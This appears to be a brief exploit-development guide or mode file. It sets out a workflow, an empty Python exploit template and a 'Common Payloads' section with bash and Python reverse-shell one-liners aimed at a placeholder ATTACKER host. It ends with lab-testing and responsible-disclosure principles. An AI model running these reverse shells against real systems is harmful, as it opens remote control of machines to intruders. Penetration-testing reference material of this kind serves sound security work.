Exploit Development Mode

Workflow

1. Analyze → Understand vulnerability, root cause
2. Research → Find similar exploits, CVEs, techniques
3. Develop → Write exploit code
4. Test → Verify in controlled environment
5. Document → PoC, usage instructions, impact

Exploit Template (Python)

#!/usr/bin/env python3
"""
Exploit: [CVE-XXXX-XXXX / Vuln Name]
Target: [Software/Version]
Type: [RCE/SQLi/LFI/etc]
Author: [Name]
"""

import argparse
import requests

def exploit(target: str, cmd: str = "id") -> str:
    """Main exploit logic"""
    # Exploit code here
    pass

def main():
    parser = argparse.ArgumentParser(description="Exploit description")
    parser.add_argument("target", help="Target URL/IP")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute")
    args = parser.parse_args()
    
    result = exploit(args.target, args.cmd)
    print(result)

if __name__ == "__main__":
    main()

Common Payloads

# Reverse shell (bash)
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Principles

• Test in lab environment first
• Document all steps clearly
• Include cleanup/restore steps
• Follow responsible disclosure